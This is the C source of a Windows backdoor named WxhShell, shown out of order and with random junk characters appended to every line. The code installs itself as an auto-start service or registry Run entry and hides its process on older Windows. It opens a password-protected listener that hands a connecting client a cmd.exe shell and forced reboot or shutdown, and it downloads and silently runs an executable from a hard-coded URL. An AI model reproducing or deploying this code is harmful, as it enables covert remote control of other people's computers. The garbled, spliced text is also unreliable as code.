    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4B)%I`  
    else { [OR"9W&  
    closesocket(wsh); 6!wk5#  
    ExitThread(0); (QQkXlJ  
    } 6i%X f i  
    break; \J(kM,ZJ  
    } `Ay:;I  
  // 获取shell  BO.Db``  
  case 's': { q`UaJ_7  
    CmdShell(wsh); y2=yh30L0E  
    closesocket(wsh); G"h}6Za;DO  
    ExitThread(0); Nt/hF>"7  
    break; S q{@4F}d  
  } -_XTy!I  
  // 退出 /y(0GP4A  
  case 'x': { &d\ y:7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Q*3\ )7  
    CloseIt(wsh); c:""&>Z  
    break; ri6KD  
    } <,D*m+BWn  
  // 离开 _tE55X&  
  case 'q': { ^!gq_x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fElFyOo+  
    closesocket(wsh); nkf7Fq}  
    WSACleanup(); 7mE9Zo1  
    exit(1); n}c~+ 0`un  
    break; bAwKmk9C  
        } egVKAR-  
  } 4iss j$  
  } 8e1Z:axn0  
JfmYr47Pv  
  // 提示信息 W2'!Pc,W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fm*npK  
} QNH3\<IS  
  } z"Mk(d@-E  
m"QDc[^Ge  
  return; Xt +9z  
} ILqBa:J  
c3r`T{Kf  
// shell模块句柄 AREjS $  
int CmdShell(SOCKET sock) s;$f6X  
{ ` 46z D ?  
STARTUPINFO si; +wf9!_'  
ZeroMemory(&si,sizeof(si)); 5lM2nhlf'b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I&31jn_o /  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; # 1dg%  
PROCESS_INFORMATION ProcessInfo; uqLP$At  
char cmdline[]="cmd"; dCe LW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nd&UWk^  
  return 0; XK})?LTD  
} Keem \/  
ZJ.an%4  
// 自身启动模式 SMzq,?-`  
int StartFromService(void) DTSf[zP/  
{ #'0Yzh]qc  
typedef struct 6q6xqr:W  
{ 72 |O&`O  
  DWORD ExitStatus; 2t PfIg  
  DWORD PebBaseAddress; {Ay dt8  
  DWORD AffinityMask; ~9E_L?TW*  
  DWORD BasePriority; D~#%^a+Aq_  
  ULONG UniqueProcessId; [:cvy[}v@  
  ULONG InheritedFromUniqueProcessId; =E<H_cUS  
}   PROCESS_BASIC_INFORMATION; Rc &m4|cw7  
G? XS-oSv  
PROCNTQSIP NtQueryInformationProcess; -Jw4z# /-  
1GqSY|FSGp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?{e}ouKYX1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E&eY79  
]!&$&t8.  
  HANDLE             hProcess; {_/o' 6  
  PROCESS_BASIC_INFORMATION pbi; -J8Hsqf@  
/R&h#;l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -%@ah:iJ  
  if(NULL == hInst ) return 0; &*%x]fQ@  
G!;PV^6x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O^j*"#f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m\X\Xp~A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _OyQ:>M6P  
EK Vcz'w  
  if (!NtQueryInformationProcess) return 0; `;J`O02  
 ]%FAJ\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o~)o/(>ox  
  if(!hProcess) return 0; doOuc4  
vg1J N"S[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,(pp+hNq  
7HBf^N.  
  CloseHandle(hProcess); #79[Qtkrhm  
6{Q-]LOc[.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :C(/yg  
if(hProcess==NULL) return 0; 7XK0vKmW3  
; Byt'S  
HMODULE hMod; eNK[P=-  
char procName[255]; _X~O 6e-!  
unsigned long cbNeeded; L_RVHvA=M/  
"`V@?+3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o_BTo5]  
Q_|}~4_+  
  CloseHandle(hProcess); wlJi_)!  
!>n!Q*\(Ov  
if(strstr(procName,"services")) return 1; // 以服务启动 T+ZA"i+  
$3G^}A"  
  return 0; // 注册表启动 O573AA  
} zMFTkDY  
>kK@tJn  
// 主模块 ZBK0`7#&EH  
int StartWxhshell(LPSTR lpCmdLine) H3<tsK=:  
{ 1+uZF  
  SOCKET wsl; CTRUr"  
BOOL val=TRUE; r)pt(*KHo  
  int port=0; Sb/?<$>  
  struct sockaddr_in door; ou<3}g  
XGR2L DR  
  if(wscfg.ws_autoins) Install(); s@@Km1w  
A-T-4I  
port=atoi(lpCmdLine); _&hM6N  
mi7?t/D1Z  
if(port<=0) port=wscfg.ws_port; 2c 0;P #ol  
QQ.?A(U7  
  WSADATA data; \+%~7Bi]z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ p? ArZb  
XNWtX-[ ^@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e^>>" tr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ['=O>YY  
  door.sin_family = AF_INET; "Zgwe,#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EGUlLqP6e  
  door.sin_port = htons(port); < -`.u`  
,%*UF6B M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BX0lk  
closesocket(wsl); >X$JeME3  
return 1; cQj`W *  
} I"88O4\@  
$lJcC |*  
  if(listen(wsl,2) == INVALID_SOCKET) { /=m AVA  
closesocket(wsl); (yq e 4  
return 1; DJ,LQj  
} i *.Y  
  Wxhshell(wsl); >,{s Fc  
  WSACleanup(); G|rE\h 2w  
:@[\(:  
return 0; E{u6<B*  
z}!g2d  
} pD%(Y^h?  
:S0!  
// 以NT服务方式启动 5;/n`Bd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CW &z?Bra  
{ #y:D{%Wp  
DWORD   status = 0; g8##Be  
  DWORD   specificError = 0xfffffff; 51q|-d  
u]IbTJ'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kWXLncE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VO|ECB2e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w+ R/>a( ]  
  serviceStatus.dwWin32ExitCode     = 0; 2F:qaz  
  serviceStatus.dwServiceSpecificExitCode = 0; }8ubGMr,Y  
  serviceStatus.dwCheckPoint       = 0; 7EE{*}?0E  
  serviceStatus.dwWaitHint       = 0; 1y'Y+1.<  
e Wux  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^~YT<cJ1h  
  if (hServiceStatusHandle==0) return; wsWFD xR  
{=ox1+d  
status = GetLastError(); W7qh1}_%  
  if (status!=NO_ERROR) oZvG Kf  
{ 4`5yrC d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MNd\)nX  
    serviceStatus.dwCheckPoint       = 0; ."$t&[;s  
    serviceStatus.dwWaitHint       = 0; - eG~  
    serviceStatus.dwWin32ExitCode     = status; %lHHTZ{+  
    serviceStatus.dwServiceSpecificExitCode = specificError; G tI )O}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xQu|D>kv87  
    return; JI5o~; }m  
  } t@qf/1  
9=>fx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eO!9;dJ  
  serviceStatus.dwCheckPoint       = 0; 1#A$&'&\J;  
  serviceStatus.dwWaitHint       = 0; k8w\d+!v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8z#Qp(he  
} F^u12R)  
>NKJ@4Y  
// 处理NT服务事件,比如:启动、停止 x s{pGQ6Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f jx`|MJ  
{ nqyD>>  
switch(fdwControl) _? gCOr  
{ j,k3]bP  
case SERVICE_CONTROL_STOP: ~lw9sm*2v2  
  serviceStatus.dwWin32ExitCode = 0; *S.U8;*Xj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5?7AzJl>  
  serviceStatus.dwCheckPoint   = 0; @j/2 $  
  serviceStatus.dwWaitHint     = 0; &?@C^0&QV  
  { S[Du >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }D#: NlMp  
  } DzAZv/h76  
  return; ;V}:0{p  
case SERVICE_CONTROL_PAUSE: CxF d/X,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xLW$>;kI  
  break; R/+$ :  
case SERVICE_CONTROL_CONTINUE: v-1}&K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R=z])  
  break; 9d drtJ]  
case SERVICE_CONTROL_INTERROGATE: )E}v~GW.+  
  break; =>$)F 4LW  
}; M R#*/Iw~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); za_b jE  
} ;+9OzF ;  
sK}AS;:  
// 标准应用程序主函数 Fv$tl)p*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gQn%RPMh  
{ c#n 2 !  
}s~c(sL?;  
// 获取操作系统版本 Y sM*d  
OsIsNt=GetOsVer(); |b   
GetModuleFileName(NULL,ExeFile,MAX_PATH); SI}s  
E/zf9\  
  // 从命令行安装 ']M/'CcM  
  if(strpbrk(lpCmdLine,"iI")) Install(); cM#rus?)+  
M-o'`e'  
  // 下载执行文件 p#@#$u-  
if(wscfg.ws_downexe) { -> cL)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bv+u7B6,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ){;XI2  
} b,xZY1a  
Xh9QfT,  
if(!OsIsNt) { zPby+BP  
// 如果时win9x,隐藏进程并且设置为注册表启动 aB ,-E>+  
HideProc(); 5'zXCHt  
StartWxhshell(lpCmdLine); }Le]qR9Y]  
} U$OZkHA[  
else 39X~<\&'  
  if(StartFromService()) R;< q<i_l  
  // 以服务方式启动 XiW1X6  
  StartServiceCtrlDispatcher(DispatchTable); Yuv i{ 0  
else ]5ZXgz  
  // 普通方式启动 ,d#*i  
  StartWxhshell(lpCmdLine); 8u[_t.y4m  
WK{`_c U^  
return 0; }Hg G<.H>  
} @>2pY_  
+9_Y0<C  
&hOz(825r  
-%asHDQ{  
=========================================== p* >z:=  
}3(!kW  
V1aP_G-:  
hOj{y2sc  
@62T:Vl  
'}.Yf_  
" /R# zu_i  
">H*InF  
#include <stdio.h> {9x_E {  
#include <string.h> t<H"J__&  
#include <windows.h> At Wv9  
#include <winsock2.h> @*6fEG{,q  
#include <winsvc.h> \x<8   
#include <urlmon.h> g)X3:=['  
/fI}QY1  
#pragma comment (lib, "Ws2_32.lib") S=UuEmU5N  
#pragma comment (lib, "urlmon.lib") cAWn*%  
=xI;D,@S  
#define MAX_USER   100 // 最大客户端连接数 IKD{3cVL  
#define BUF_SOCK   200 // sock buffer cn'>dz3v  
#define KEY_BUFF   255 // 输入 buffer m:H^m/g  
v] m/$X2  
#define REBOOT     0   // 重启 NoI|Dz  
#define SHUTDOWN   1   // 关机 o4Q?K.9c  
QYH-"-)  
#define DEF_PORT   5000 // 监听端口 \nl(tU#j  
a'J0}j!  
#define REG_LEN     16   // 注册表键长度 +-izC%G  
#define SVC_LEN     80   // NT服务名长度 F y+NJSG  
z0 "DbZ;d  
// 从dll定义API _7Y h[I4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kCBtK?g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #AD_EN9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T+Oqd\05.+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n Bu!2c  
?@64gdlwq  
// wxhshell配置信息 =2R4Z8G  
struct WSCFG { ":]X r!e  
  int ws_port;         // 监听端口 g3^s_*A  
  char ws_passstr[REG_LEN]; // 口令 8g#$Y2P  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1/DtF  
  char ws_regname[REG_LEN]; // 注册表键名 j\y;~ V  
  char ws_svcname[REG_LEN]; // 服务名 Ymut]`dX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @C;1e7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +f3Rzx]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y{<e4{ !  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !<[+u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xoj"rR9|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RY-iFydPc  
%|-N{>wKy  
}; |XyX%5p*  
QPlU+5Cx  
// default Wxhshell configuration ~1G^IZ6  
struct WSCFG wscfg={DEF_PORT, ptCF))Zm'  
    "xuhuanlingzhe", \:vF FK4a  
    1, WogUILB  
    "Wxhshell", c{q+h V=  
    "Wxhshell", }Fe~XO`  
            "WxhShell Service", E0Wc8m"  
    "Wrsky Windows CmdShell Service", T7[@ lMa?  
    "Please Input Your Password: ", O NabL.CV  
  1, hx$]fvDevD  
  "http://www.wrsky.com/wxhshell.exe", yV^Yp=f_  
  "Wxhshell.exe" 4]d^L>  
    };  s*u A3}j  
j7I=2xnTWu  
// 消息定义模块 R7::f\I   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !=9x=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; so-5%S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; is.t,&H4P]  
char *msg_ws_ext="\n\rExit."; K@.5   
char *msg_ws_end="\n\rQuit."; Cfi{%,em  
char *msg_ws_boot="\n\rReboot..."; Jh"[ug  
char *msg_ws_poff="\n\rShutdown..."; oo'9ZE/%  
char *msg_ws_down="\n\rSave to "; 66=[6U9 *  
%4~"$kE  
char *msg_ws_err="\n\rErr!"; Jqoo&T")  
char *msg_ws_ok="\n\rOK!"; Yh<F-WOo2  
-E-#@s  
char ExeFile[MAX_PATH]; N_Us6 X  
int nUser = 0; G]lGoa}]`u  
HANDLE handles[MAX_USER]; w2LnY1A  
int OsIsNt; osp~)icun  
k+QGvgP[4@  
SERVICE_STATUS       serviceStatus; }">r0v!3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wE .H:q4&  
Ev fvU:z  
// 函数声明 x ;DoQx  
int Install(void); *>m[ZJd%=  
int Uninstall(void); ~Ztn(1N  
int DownloadFile(char *sURL, SOCKET wsh); +k`L8@a3&  
int Boot(int flag); KzHN|8 $o  
void HideProc(void); [LVXXjkFI  
int GetOsVer(void); |$WHw*F^  
int Wxhshell(SOCKET wsl); 9*"  
void TalkWithClient(void *cs); -]3K#M)s  
int CmdShell(SOCKET sock); (HNc9QVC'W  
int StartFromService(void); Mc,79Ix"  
int StartWxhshell(LPSTR lpCmdLine); ,np=m17  
2Kxb(q"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T?3Q<[SmI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J=A)]YE  
[S6u:;7  
// 数据结构和表定义 fUw:jE xz  
SERVICE_TABLE_ENTRY DispatchTable[] = "Q:Gd6?h;  
{ x^ s,<G  
{wscfg.ws_svcname, NTServiceMain}, f;E#CjlTL  
{NULL, NULL} +d, ~h_7!  
}; ieyK$q  
wNa5qp 0  
// 自我安装 .6y+van  
int Install(void) E\iK_'#  
{ C[FHqo9M?H  
  char svExeFile[MAX_PATH]; Ym'h vK  
  HKEY key; 8h] TI_  
  strcpy(svExeFile,ExeFile); f&-`+V}U  
v :pT(0N  
// 如果是win9x系统,修改注册表设为自启动 1}VaBsEV  
if(!OsIsNt) { yP"2.9\erH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5/.W-Q\pl}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yi$CkG}  
  RegCloseKey(key); &xGdKH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ()lgd7|+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7L~ *%j  
  RegCloseKey(key); [6VB&   
  return 0; fJFNS y  
    } TXImmkC  
  } MlV(XG>'  
} .n\JY;"  
else { xe@e#9N$  
@eYpARF  
// 如果是NT以上系统,安装为系统服务 lZk  z\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CE"/&I  
if (schSCManager!=0) fU6YJs.H^8  
{ q9 Df`6+  
  SC_HANDLE schService = CreateService p?gm=b#  
  ( #A)V  
  schSCManager, J|W E&5'  
  wscfg.ws_svcname,  +n1!xv]  
  wscfg.ws_svcdisp, y 4i3m(S  
  SERVICE_ALL_ACCESS, h&4s%:_4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LL<xygd  
  SERVICE_AUTO_START, >a8iY|QY  
  SERVICE_ERROR_NORMAL, [8QK @5[  
  svExeFile, ;Gr {  
  NULL, 1I%u)[;>  
  NULL, .fWy\ r0  
  NULL, f:-)S8OJ  
  NULL, sH6;__e  
  NULL "7cty\  
  ); B.N#9u-vW  
  if (schService!=0) ` o)KG,  
  { w$ 8r<?^3  
  CloseServiceHandle(schService); P@N+jS`Vf  
  CloseServiceHandle(schSCManager);  /  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9=j9vBV  
  strcat(svExeFile,wscfg.ws_svcname); oN032o?S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TgkVd]4%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6]7csOE  
  RegCloseKey(key); .SC *!,  
  return 0; 7uR;S:WX  
    } 7I3_$uF  
  } CX]1I|T5  
  CloseServiceHandle(schSCManager); 4  OPY  
} *'((_ NZ>  
} '#6e Ub  
ny-:%A  
return 1; t:10  
} KZKE&bTx  
:T-DxP/  
// 自我卸载 bZ* = fdh  
int Uninstall(void) u99a"+  
{ _xKn2?d8g  
  HKEY key;  7)2K6<q  
F`g(vD >  
if(!OsIsNt) { H07\z1?.K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #eW T-m  
  RegDeleteValue(key,wscfg.ws_regname); #E]K*mE'  
  RegCloseKey(key); U9oUY> 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <-I69`  
  RegDeleteValue(key,wscfg.ws_regname); =WTSaC  
  RegCloseKey(key); ;,bgJgK  
  return 0; 5` ^@k<  
  } =x<N+vjXY  
} Y4k2=w:D  
} 4en3yA0.w  
else { BqNsW (+  
6ll!7U(9(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VWft/2p~  
if (schSCManager!=0) 5/"$ _7"{a  
{ (p>|e\(]0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R XCn;nM4  
  if (schService!=0) Znb={hh  
  { C]!2   
  if(DeleteService(schService)!=0) { 9q'&tU'a=c  
  CloseServiceHandle(schService); SwOW%o  
  CloseServiceHandle(schSCManager); x;~:p;]J2F  
  return 0; 4>,X.|9{  
  } C hF~  
  CloseServiceHandle(schService); o=Vs)8W  
  } &jJu=6 U B  
  CloseServiceHandle(schSCManager); [xqV`(vM  
} v0DDim?cc  
} /p !A:8  
bWTf P8gT  
return 1; aqON6|6K  
} ) H,Xkex  
= wz}yfdrC  
// 从指定url下载文件 g~DuK|+  
int DownloadFile(char *sURL, SOCKET wsh) |N/d }  
{ httywa^  
  HRESULT hr; v]k-x n|$j  
char seps[]= "/"; s|\)Y*B`  
char *token; %jL^sA2;c+  
char *file; p}^G#h{  
char myURL[MAX_PATH]; DhE-g<  
char myFILE[MAX_PATH]; b1C)@gl!Z  
[lzd'  
strcpy(myURL,sURL); ,iV%{*p]  
  token=strtok(myURL,seps); D40 vCax^J  
  while(token!=NULL) 3"x_Y  
  { _ $a3lR  
    file=token; H$%MIBz>$  
  token=strtok(NULL,seps); ^MpMqm1?8;  
  } 0GUJc}fgvN  
|Y uf/G%/  
GetCurrentDirectory(MAX_PATH,myFILE); d"XZlEV  
strcat(myFILE, "\\"); t'U=K>7  
strcat(myFILE, file); eIvZhi  
  send(wsh,myFILE,strlen(myFILE),0); phy}Hk/  
send(wsh,"...",3,0); av'm$I|O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oh{>nwH  
  if(hr==S_OK) 7DAP_C  
return 0; w5>[hQR\  
else %0GwO%h},  
return 1; ^.A*mMQ  
`\( ?^]WLa  
} cO J`^^P  
d6MWgg  
// 系统电源模块 q;68tEupR  
int Boot(int flag) B<d=;V  
{ cKVFykwM  
  HANDLE hToken; e\6H.9=  
  TOKEN_PRIVILEGES tkp; ^*AI19w!Ys  
U<'N=#A J  
  if(OsIsNt) { {T8;-H0H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SW9 C 8Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9"P+K.%  
    tkp.PrivilegeCount = 1; M+%Xq0`T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 - 3?&+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'C5id7O&  
if(flag==REBOOT) { h7#\]2U$[5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <q7o"NI6FZ  
  return 0; T]\1gs41  
} %Xh}{o$G  
else { j:%,lcF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $M}"u [Qq  
  return 0; -_ 9k+AV  
} ]W3_]N 3  
  } *q6XK_  
  else { X7$]qE K  
if(flag==REBOOT) { t=Oq<r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PaKa bPY  
  return 0; p)SW(pS  
} mOJdx-q?r  
else { BeUyt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ] hT\"5&6  
  return 0; 5M>h[Q"R  
} j- 9)Sijj{  
} cM%?Ot,mK"  
k7U.]#5V  
return 1; *tv&=  
} K+~?yOQj  
FxlH;'+Q  
// win9x进程隐藏模块 /NQrE#pb  
void HideProc(void) We y*\@  
{ RsDSsux  
,NGHv?.N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sqa9+' [  
  if ( hKernel != NULL ) 5qM$ahN3wH  
  { lc <V_8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :of([e|u6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @1o X&#  
    FreeLibrary(hKernel); [l-o*@  
  } N[cIr{XBGN  
{YiMd oMhg  
return; jj`#;Y  
}  N}5  
d}O\:\}y  
// 获取操作系统版本 2WS*c7Ct  
int GetOsVer(void) &h/r]KrZ  
{ {z>!Fw  
  OSVERSIONINFO winfo; !SK`!/7c?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X2V+cre  
  GetVersionEx(&winfo); ;y(;7n_ a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2B4.o*Q\  
  return 1; TyV~2pc N  
  else L!:NL#M  
  return 0; :|(YlNUv  
} )Ra:s>  
eQi^d/yi  
// 客户端句柄模块 !\#Wq{p>W*  
int Wxhshell(SOCKET wsl) DCp8rvUI  
{ P6_Hz!vE  
  SOCKET wsh; e[iv"|+  
  struct sockaddr_in client; y^H5iB[SPL  
  DWORD myID; b"X1  
a]Pi2:S  
  while(nUser<MAX_USER) %fg6', 2  
{ H@-q NjM  
  int nSize=sizeof(client); +=/j+S`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wnC-~&+6  
  if(wsh==INVALID_SOCKET) return 1; eZ:iW#YF  
u43Mo\"<&%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ct'tUF<K5  
if(handles[nUser]==0) 6 5zx<  
  closesocket(wsh); hr]+ 4!/  
else Vja 4WK*  
  nUser++; waMV6w)<  
  } i1x4$}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *w;?&)8%  
S }`f&  
  return 0; f2c <-}wR  
} qoZi1,i'  
lq.:/_m0  
// 关闭 socket fDDpR=  
void CloseIt(SOCKET wsh) < h#7;o  
{ o1#3A  
closesocket(wsh); #)}BY"C%  
nUser--; C]Fw*t   
ExitThread(0); V(Pw|u" e  
} +7%?p"gEY\  
o<A-ETx<  
// 客户端请求句柄 @{b5x>KX  
void TalkWithClient(void *cs) v9H t~\>  
{  B=*0  
IiniaVuQ  
  SOCKET wsh=(SOCKET)cs; <%.%q  
  char pwd[SVC_LEN]; te[uAJ1 N  
  char cmd[KEY_BUFF]; O^\:J 2I(  
char chr[1]; <N<0?GQ  
int i,j; z$1|D{  
Vl+UC1M}B>  
  while (nUser < MAX_USER) { P]m{\K  
D 6'd&U{_  
if(wscfg.ws_passstr) {  @N '_qu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u)h {"pP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @MibKj>o  
  //ZeroMemory(pwd,KEY_BUFF); _v#pu Fy  
      i=0; egsP\ '  
  while(i<SVC_LEN) { & PXT$x[i  
{*bx8*y1  
  // 设置超时 T[OI/ WuK  
  fd_set FdRead; -Y+pLvG*  
  struct timeval TimeOut; g<;pyvq|:  
  FD_ZERO(&FdRead); 0fstEExw  
  FD_SET(wsh,&FdRead); lO\HchG zB  
  TimeOut.tv_sec=8; WCd: (8B  
  TimeOut.tv_usec=0; F~=kMQO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D)G oWt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \\EX'L  
J8\l'} ?&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z5'^Hj1,  
  pwd=chr[0]; ]?_~QE`  
  if(chr[0]==0xd || chr[0]==0xa) { 1VYH:uGuAU  
  pwd=0; $MvKwQ/  
  break; D0 k ,8|  
  } kj2qX9 Ms  
  i++;  R<1%Gdz  
    } waz5+l28  
d(}? \|  
  // 如果是非法用户,关闭 socket Ag T)J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mh3.GpS  
} ?IeBo8  
t$qIJt$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PJ:!O?KVq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j+'ua=T3  
O: I]v@  
while(1) { *# <%04f  
\ P6 !  
  ZeroMemory(cmd,KEY_BUFF); 7>im2"zm  
%_n%-Qn  
      // 自动支持客户端 telnet标准   ?`OF n F,K  
  j=0; (ID%U  
  while(j<KEY_BUFF) { -`ljKp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'r=2f6G>cP  
  cmd[j]=chr[0]; W8`6O2  
  if(chr[0]==0xa || chr[0]==0xd) { hwk] ;6[  
  cmd[j]=0; M%54FsV  
  break; W`LG.`JW  
  } \="U|LzG  
  j++; :BR_%$  
    } O6e$vI@  
J|jvqt9C  
  // 下载文件 % dFz[b  
  if(strstr(cmd,"http://")) { a(IE8:yU`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uUS~"\`fk  
  if(DownloadFile(cmd,wsh)) ;R&W#Q7>3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |63uoRr  
  else ~9rNP{+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q7pCF,;  
  } 3Yx'/=]  
  else { ((AK7hb  
C&@'oLr  
    switch(cmd[0]) { 1LFad>`  
  'H`:c+KDG`  
  // 帮助 w9u|E46  
  case '?': { K_t >T)K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]?}pJ28  
